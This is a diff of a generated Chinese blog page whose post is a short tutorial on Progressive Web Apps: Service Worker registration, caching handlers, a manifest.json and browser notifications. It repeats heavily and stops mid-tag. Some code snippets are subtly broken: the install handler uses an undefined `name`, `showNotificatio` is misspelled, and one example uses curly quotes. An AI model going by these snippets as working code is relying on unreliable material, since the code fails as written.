+++ b/posts/154/index.html
@@ -2,94 +2,94 @@
 PWA由Service Worker，Promise，fetch，cache Api，Notification Api等技术组成
 Service Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖HTTPS通信
 注册Service Worker
-navigator.serviceWorker.register('./sw.js',{scope: '/'}).then(
registration => {
console.log(registration)
},error => {
console.error(error)
}
)
window.onload = function() {
document.body.append('PWA!')
}
sw.js
-const cachename = 'v1'
self.addEventListener('install', function (event) {
console.log('install',event)
// 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本
event.waitUntil(new Promise(resolve =>{
setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本
}))
// event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的
event.waitUntil(caches.open(name).then(cache =>{
cache.addAll([
'/',
'./1.img'
])
})) // 开启cache api缓存系统
})
self."><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/154/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用PWA技术"><meta property="og:description" content="PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能
+navigator.serviceWorker.register('./sw.js',{scope: '/'}).then( registration => { console.log(registration) },error => { console.error(error) } ) window.onload = function() { document.body.append('PWA!') } sw.js
+const cachename = 'v1' self.addEventListener('install', function (event) { console.log('install',event) // 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本 event.waitUntil(new Promise(resolve =>{ setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本 })) // event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的 event.waitUntil(caches.open(name).then(cache =>{ cache.addAll([ '/', './1.img' ]) })) // 开启cache api缓存系统 }) self."><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/154/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用PWA技术"><meta property="og:description" content="PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能
 PWA由Service Worker，Promise，fetch，cache Api，Notification Api等技术组成
 Service Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖HTTPS通信
 注册Service Worker
-navigator.serviceWorker.register('./sw.js',{scope: '/'}).then(
registration => {
console.log(registration)
},error => {
console.error(error)
}
)
window.onload = function() {
document.body.append('PWA!')
}
sw.js
-const cachename = 'v1'
self.addEventListener('install', function (event) {
console.log('install',event)
// 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本
event.waitUntil(new Promise(resolve =>{
setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本
}))
// event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的
event.waitUntil(caches.open(name).then(cache =>{
cache.addAll([
'/',
'./1.img'
])
})) // 开启cache api缓存系统
})
self."><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/154/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-10-28T01:21:00+00:00"><meta property="article:modified_time" content="2022-10-28T01:21:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用PWA技术"><meta name=twitter:description content="PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能
+navigator.serviceWorker.register('./sw.js',{scope: '/'}).then( registration => { console.log(registration) },error => { console.error(error) } ) window.onload = function() { document.body.append('PWA!') } sw.js
+const cachename = 'v1' self.addEventListener('install', function (event) { console.log('install',event) // 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本 event.waitUntil(new Promise(resolve =>{ setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本 })) // event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的 event.waitUntil(caches.open(name).then(cache =>{ cache.addAll([ '/', './1.img' ]) })) // 开启cache api缓存系统 }) self."><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/154/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-10-28T01:21:00+00:00"><meta property="article:modified_time" content="2022-10-28T01:21:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用PWA技术"><meta name=twitter:description content="PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能
 PWA由Service Worker，Promise，fetch，cache Api，Notification Api等技术组成
 Service Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖HTTPS通信
 注册Service Worker
-navigator.serviceWorker.register('./sw.js',{scope: '/'}).then(
registration => {
console.log(registration)
},error => {
console.error(error)
}
)
window.onload = function() {
document.body.append('PWA!')
}
sw.js
-const cachename = 'v1'
self.addEventListener('install', function (event) {
console.log('install',event)
// 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本
event.waitUntil(new Promise(resolve =>{
setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本
}))
// event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的
event.waitUntil(caches.open(name).then(cache =>{
cache.addAll([
'/',
'./1.img'
])
})) // 开启cache api缓存系统
})
self."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用PWA技术","item":"https://xiaochenabc123.github.io/posts/154/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用PWA技术","name":"简单使用PWA技术","description":"PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能\nPWA由Service Worker，Promise，fetch，cache Api，Notification Api等技术组成\nService Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖HTTPS通信\n注册Service Worker\nnavigator.serviceWorker.register('./sw.js',{scope: '/'}).then(\rregistration =\u0026gt; {\rconsole.log(registration)\r},error =\u0026gt; {\rconsole.error(error)\r}\r)\rwindow.onload = function() {\rdocument.body.append('PWA!')\r}\rsw.js\nconst cachename = 'v1'\rself.addEventListener('install', function (event) {\rconsole.log('install',event)\r// 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本\revent.waitUntil(new Promise(resolve =\u0026gt;{\rsetTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本\r}))\r// event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的\revent.waitUntil(caches.open(name).then(cache =\u0026gt;{\rcache.addAll([\r'/',\r'./1.img'\r])\r})) // 开启cache api缓存系统\r})\rself.","keywords":["PWA"],"articleBody":"PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能\nPWA由Service Worker，Promise，fetch，cache Api，Notification Api等技术组成\nService Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖HTTPS通信\n注册Service Worker\nnavigator.serviceWorker.register('./sw.js',{scope: '/'}).then(\rregistration =\u003e {\rconsole.log(registration)\r},error =\u003e {\rconsole.error(error)\r}\r)\rwindow.onload = function() {\rdocument.body.append('PWA!')\r}\rsw.js\nconst cachename = 'v1'\rself.addEventListener('install', function (event) {\rconsole.log('install',event)\r// 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本\revent.waitUntil(new Promise(resolve =\u003e{\rsetTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本\r}))\r// event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的\revent.waitUntil(caches.open(name).then(cache =\u003e{\rcache.addAll([\r'/',\r'./1.img'\r])\r})) // 开启cache api缓存系统\r})\rself.addEventListener('activate', function (event) {\rconsole.log('activate',event)\r// 激活新的Service Worker脚本事件\revent.waitUntil(self.clients.claim())\revent.waitUntil(caches.keys().then(cacheNames =\u003e{\rreturn Promise.all(cacheNames.map(cacheNames =\u003e{\rif(cacheNames !== cachename){\rcaches.delete(cacheNames) // 当前缓存名称不等于设置的缓存名称时，清除缓存，重新获取资源\r}\r}))\r}))\r})\rself.addEventListener('fetch', function (event) {\rconsole.log('fetch',event)\r// 获取资源请求事件，例如增加外链\revent.respondWith(caches.open(cachename).then(cache =\u003e {\rreturn cache.match(event.request).then(response =\u003e{\rif(response){\rreturn response // 命中缓存则直接使用缓存\r}\rreturn fetch(event.request).then(response =\u003e{\rcache.put(event.request,response.clone())\r// 没有命中则获取该资源\rreturn response\r})\r})\r}))\r})\rmanifest.json：让web应用具备app的效果，例如logo，启动页面\n{\r\"name\": \"hallo\",\r\"short_name\": \"你好\",\r\"display\": \"standalone\",\r\"orientation\": \"landscape\",\r\"start_url\": \"/\",\r\"theme_color\": \"purple\",\r\"background_color\": \"purple\",\r\"icons\": [\r{\r\"src\": \"logo.jpg\",\r\"sizes\": \"48x48\",\r\"type\": \"image/jpg\"\r},\r{\r\"src\": \"logo1.jpg\",\r\"sizes\": \"144x144\",\r\"type\": \"image/jpg\"\r}\r]\r}\rNotification消息推送\n查看授权\nNotification.permission\n有3个值，在浏览器默认为default，当同意时，为granted，当不同意时，为denied\n在Service Worker中，默认为denied，因为Service Worker不能弹出授权请求，必须先在浏览器中同意后，Service Worker只能发送通知\n请求授权\nNotification.requestPermission().then(permission =\u003e console.log(permission))\n发送通知\nnew Notification(‘hallo word’, {body: ‘hallo’})\n在Service Worker发送通知\nself.registration.showNotificatio(‘hallo word’)\n成熟的PWA插件，workbox\n","wordCount":"184","inLanguage":"en","datePublished":"2022-10-28T01:21:00Z","dateModified":"2022-10-28T01:21:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/154/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用PWA技术</h1><div class=post-meta><span title='2022-10-28 01:21:00 +0000 UTC'>2022-10-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8PWA%e6%8a%80%e6%9c%af.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能</p><p>PWA由Service Worker，Promise，fetch，cache Api，Notification Api等技术组成</p><p>Service Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖HTTPS通信</p><p>注册Service Worker</p><pre><code>navigator.serviceWorker.register('./sw.js',{scope: '/'}).then(
-    registration =&gt; {
-        console.log(registration)
-    },error =&gt; {
-        console.error(error)
-    }
-)
-window.onload = function() {
-    document.body.append('PWA!')
-}
-</code></pre><p>sw.js</p><pre><code>const cachename = 'v1'
-self.addEventListener('install', function (event) {
-    console.log('install',event)
-    // 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本
-    event.waitUntil(new Promise(resolve =&gt;{
-        setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本
-    }))
-    // event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的
-    event.waitUntil(caches.open(name).then(cache =&gt;{
-        cache.addAll([
-            '/',
-            './1.img'
-        ])
-    })) // 开启cache api缓存系统
-})
-self.addEventListener('activate', function (event) {
-    console.log('activate',event)
-    // 激活新的Service Worker脚本事件
-    event.waitUntil(self.clients.claim())
-    event.waitUntil(caches.keys().then(cacheNames =&gt;{
-        return Promise.all(cacheNames.map(cacheNames =&gt;{
-            if(cacheNames !== cachename){
-                caches.delete(cacheNames) // 当前缓存名称不等于设置的缓存名称时，清除缓存，重新获取资源
-            }
-        }))
-    }))
-})
-self.addEventListener('fetch', function (event) {
-    console.log('fetch',event)
-    // 获取资源请求事件，例如增加外链
-    event.respondWith(caches.open(cachename).then(cache =&gt; {
-        return cache.match(event.request).then(response =&gt;{
-            if(response){
-                return response // 命中缓存则直接使用缓存
-            }
-            return fetch(event.request).then(response =&gt;{
-                cache.put(event.request,response.clone())
-                // 没有命中则获取该资源
-                return response
-            })
-        })
-    }))
-})
-</code></pre><p>manifest.json：让web应用具备app的效果，例如logo，启动页面</p><pre><code>{
-    &quot;name&quot;: &quot;hallo&quot;,
-    &quot;short_name&quot;: &quot;你好&quot;,
-    &quot;display&quot;: &quot;standalone&quot;,
-    &quot;orientation&quot;: &quot;landscape&quot;,
-    &quot;start_url&quot;: &quot;/&quot;,
-    &quot;theme_color&quot;: &quot;purple&quot;,
-    &quot;background_color&quot;: &quot;purple&quot;,
-    &quot;icons&quot;: [
-        {
-            &quot;src&quot;: &quot;logo.jpg&quot;,
-            &quot;sizes&quot;: &quot;48x48&quot;,
-            &quot;type&quot;: &quot;image/jpg&quot;
-        },
-        {
-            &quot;src&quot;: &quot;logo1.jpg&quot;,
-            &quot;sizes&quot;: &quot;144x144&quot;,
-            &quot;type&quot;: &quot;image/jpg&quot;
-        }
-    ]
-}
-</code></pre><p>Notification消息推送</p><p>查看授权</p><p>Notification.permission</p><p>有3个值，在浏览器默认为default，当同意时，为granted，当不同意时，为denied</p><p>在Service Worker中，默认为denied，因为Service Worker不能弹出授权请求，必须先在浏览器中同意后，Service Worker只能发送通知</p><p>请求授权</p><p>Notification.requestPermission().then(permission => console.log(permission))</p><p>发送通知</p><p>new Notification(&lsquo;hallo word&rsquo;, {body: &lsquo;hallo&rsquo;})</p><p>在Service Worker发送通知</p><p>self.registration.showNotificatio(&lsquo;hallo word&rsquo;)</p><p>成熟的PWA插件，workbox</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/pwa/>PWA</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/155/><span class=title>« Prev</span><br><span>计算机组成原理学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/153/><span class=title>Next »</span><br><span>ECharts数据可视化图表库简单使用</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+navigator.serviceWorker.register('./sw.js',{scope: '/'}).then( registration => { console.log(registration) },error => { console.error(error) } ) window.onload = function() { document.body.append('PWA!') } sw.js
+const cachename = 'v1' self.addEventListener('install', function (event) { console.log('install',event) // 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本 event.waitUntil(new Promise(resolve =>{ setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本 })) // event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的 event.waitUntil(caches.open(name).then(cache =>{ cache.addAll([ '/', './1.img' ]) })) // 开启cache api缓存系统 }) self."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用PWA技术","item":"https://chenjunlinabc.github.io/posts/154/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用PWA技术","name":"简单使用PWA技术","description":"PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能\nPWA由Service Worker，Promise，fetch，cache Api，Notification Api等技术组成\nService Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖HTTPS通信\n注册Service Worker\nnavigator.serviceWorker.register('./sw.js',{scope: '/'}).then( registration =\u0026gt; { console.log(registration) },error =\u0026gt; { console.error(error) } ) window.onload = function() { document.body.append('PWA!') } sw.js\nconst cachename = 'v1' self.addEventListener('install', function (event) { console.log('install',event) // 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本 event.waitUntil(new Promise(resolve =\u0026gt;{ setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本 })) // event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的 event.waitUntil(caches.open(name).then(cache =\u0026gt;{ cache.addAll([ '/', './1.img' ]) })) // 开启cache api缓存系统 }) self.","keywords":["PWA"],"articleBody":"PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能\nPWA由Service Worker，Promise，fetch，cache Api，Notification Api等技术组成\nService Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖HTTPS通信\n注册Service Worker\nnavigator.serviceWorker.register('./sw.js',{scope: '/'}).then( registration =\u003e { console.log(registration) },error =\u003e { console.error(error) } ) window.onload = function() { document.body.append('PWA!') } sw.js\nconst cachename = 'v1' self.addEventListener('install', function (event) { console.log('install',event) // 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本 event.waitUntil(new Promise(resolve =\u003e{ setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本 })) // event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的 event.waitUntil(caches.open(name).then(cache =\u003e{ cache.addAll([ '/', './1.img' ]) })) // 开启cache api缓存系统 }) self.addEventListener('activate', function (event) { console.log('activate',event) // 激活新的Service Worker脚本事件 event.waitUntil(self.clients.claim()) event.waitUntil(caches.keys().then(cacheNames =\u003e{ return Promise.all(cacheNames.map(cacheNames =\u003e{ if(cacheNames !== cachename){ caches.delete(cacheNames) // 当前缓存名称不等于设置的缓存名称时，清除缓存，重新获取资源 } })) })) }) self.addEventListener('fetch', function (event) { console.log('fetch',event) // 获取资源请求事件，例如增加外链 event.respondWith(caches.open(cachename).then(cache =\u003e { return cache.match(event.request).then(response =\u003e{ if(response){ return response // 命中缓存则直接使用缓存 } return fetch(event.request).then(response =\u003e{ cache.put(event.request,response.clone()) // 没有命中则获取该资源 return response }) }) })) }) manifest.json：让web应用具备app的效果，例如logo，启动页面\n{ \"name\": \"hallo\", \"short_name\": \"你好\", \"display\": \"standalone\", \"orientation\": \"landscape\", \"start_url\": \"/\", \"theme_color\": \"purple\", \"background_color\": \"purple\", \"icons\": [ { \"src\": \"logo.jpg\", \"sizes\": \"48x48\", \"type\": \"image/jpg\" }, { \"src\": \"logo1.jpg\", \"sizes\": \"144x144\", \"type\": \"image/jpg\" } ] } Notification消息推送\n查看授权\nNotification.permission\n有3个值，在浏览器默认为default，当同意时，为granted，当不同意时，为denied\n在Service Worker中，默认为denied，因为Service Worker不能弹出授权请求，必须先在浏览器中同意后，Service Worker只能发送通知\n请求授权\nNotification.requestPermission().then(permission =\u003e console.log(permission))\n发送通知\nnew Notification(‘hallo word’, {body: ‘hallo’})\n在Service Worker发送通知\nself.registration.showNotificatio(‘hallo word’)\n成熟的PWA插件，workbox\n","wordCount":"184","inLanguage":"en","datePublished":"2022-10-28T01:21:00Z","dateModified":"2022-10-28T01:21:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/154/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用PWA技术</h1><div class=post-meta><span title='2022-10-28 01:21:00 +0000 UTC'>2022-10-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a 